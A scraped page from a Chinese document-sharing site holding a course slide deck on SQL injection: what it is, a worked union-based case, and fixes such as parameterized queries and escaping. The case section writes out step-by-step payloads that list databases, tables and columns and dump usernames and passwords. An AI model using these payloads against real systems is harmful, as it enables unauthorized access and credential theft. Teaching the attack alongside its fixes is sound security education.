版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)
文檔簡介
SQL注入漏洞SoftwareEngineering1、理解SQL注入漏洞的含義2、了解部分SQL漏洞實例3、對SQL漏洞提出修復(fù)建議01目錄SQL注入漏洞的概念02SQL漏洞的具體案例03針對SQL的修復(fù)建議
SQL注入漏洞的概念1SQL的注入攻擊定義SQL注入攻擊:可以從以下2個角度來理解。1.SQL注入攻擊的種類和作用2.SQL的運行
SQL注入攻擊包括通過輸入數(shù)據(jù)從客戶端插入或“注入”SQL查詢到應(yīng)用程序。一個成功的SQL注入攻擊可以從數(shù)據(jù)庫中獲取敏感數(shù)據(jù)、修改數(shù)據(jù)庫數(shù)據(jù)(插入/更新/刪除)、執(zhí)行數(shù)據(jù)庫管理操作(如關(guān)閉數(shù)據(jù)庫管理系統(tǒng))、恢復(fù)存在于數(shù)據(jù)庫文件系統(tǒng)中的指定文件內(nèi)容,在某些情況下能對操作系統(tǒng)發(fā)布命令。SQL注入攻擊是一種注入攻擊。它將SQL命令注入到數(shù)據(jù)層輸入,從而影響執(zhí)行預(yù)定義的SQL命令。SQL的注入攻擊由于用戶的輸入,也是SQL語句的一部分,所以攻擊者可以利用這部分可以控制的內(nèi)容,注入自己定義的語句,改變SQL語句執(zhí)行邏輯,讓數(shù)據(jù)庫執(zhí)行任意自己需要的指令。通過控制部分SQL語句,攻擊者可以查詢數(shù)據(jù)庫中任何自己需要的數(shù)據(jù),利用數(shù)據(jù)庫的一些特性,可以直接獲取數(shù)據(jù)庫服務(wù)器的系統(tǒng)權(quán)限。
SQL漏洞實例2SQL漏洞的具體案例字符型(參數(shù)在單引號內(nèi),直接返回結(jié)果)
SQL漏洞的具體案例步驟1:參數(shù)后面加一個單引號報SQL錯誤
分析:單引號報錯,所以參數(shù)在兩個單引號里面,通過閉合單引號、聯(lián)合查詢直接查詢到數(shù)據(jù)庫數(shù)據(jù)
步驟2:構(gòu)造payload
id=0'unionselectNULL,database(),NULL--+
#查詢當(dāng)前數(shù)據(jù)庫的名稱
#爆庫名
id=0'unionselectnull,group_concat(schema_name),nullfrominformation_schema.schemata--+#爆表名id=0'unionselectnull,group_concat(table_name),nullfrominformation_schema.tableswheretable_schema='security'--+#爆字段名d=0'unionselectnull,group_concat(column_name),nullfrominformation_schema.columnswheretable_schema='security'andtable_name='users'--+#獲取數(shù)據(jù)庫中的數(shù)據(jù)id=0'unionselectnull,group_concat(username,0x3a,password),nullfromsecurity.users--+SQL漏洞的修復(fù)建議3SQL的修復(fù)建議使用參數(shù)化查詢接口或在代碼級對帶入SQL語句中的外部參數(shù)進行轉(zhuǎn)義或過濾第一點對于整數(shù),判斷變量是否符合[0-9]的值;其他限定值,也可以進行合法性校驗;對于字符串,對SQL語句特殊字符進行轉(zhuǎn)義(單引號轉(zhuǎn)成兩個單引號,雙引號轉(zhuǎn)成兩個雙引號)。第二點修復(fù)建議SQL的修復(fù)建議加強服務(wù)器的安全配置,安全組策略第三點啟用制定IP訪
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 2026年電力系統(tǒng)運維安全規(guī)程
- 南城縣工創(chuàng)發(fā)展集團有限公司招聘考試備考試題及答案解析
- 2025年南安小學(xué)語文教招筆試及答案
- 2025年周三面試事業(yè)編武漢考試及答案
- 2026年安全事故的警鐘建筑工程案例
- 2026年工程項目中的環(huán)境友好型設(shè)計
- 2025年永年區(qū)事業(yè)單位考試真題及答案
- 2025年鹽源人事考試及答案
- 2025年機械類秋招筆試題庫及答案
- 2026年特殊教育支持策略培訓(xùn)
- DB34T 4506-2023 通督調(diào)神針刺療法應(yīng)用指南
- 02-輸電線路各階段設(shè)計深度要求
- 《認識時鐘》大班數(shù)學(xué)教案
- 新疆維吾爾自治區(qū)伊犁哈薩克自治州2023-2024學(xué)年八年級下學(xué)期期中數(shù)學(xué)試題
- T-CI 178-2023 高大邊坡穩(wěn)定安全智能監(jiān)測預(yù)警技術(shù)規(guī)范
- THHPA 001-2024 盆底康復(fù)管理質(zhì)量評價指標(biāo)體系
- 傷口的美容縫合減少瘢痕的形成
- MSOP(測量標(biāo)準作業(yè)規(guī)范)測量SOP
- 顱鼻眶溝通惡性腫瘤的治療及護理
- 人教版四年級《上冊語文》期末試卷(附答案)
- 四川山體滑坡地質(zhì)勘察報告
評論
0/150
提交評論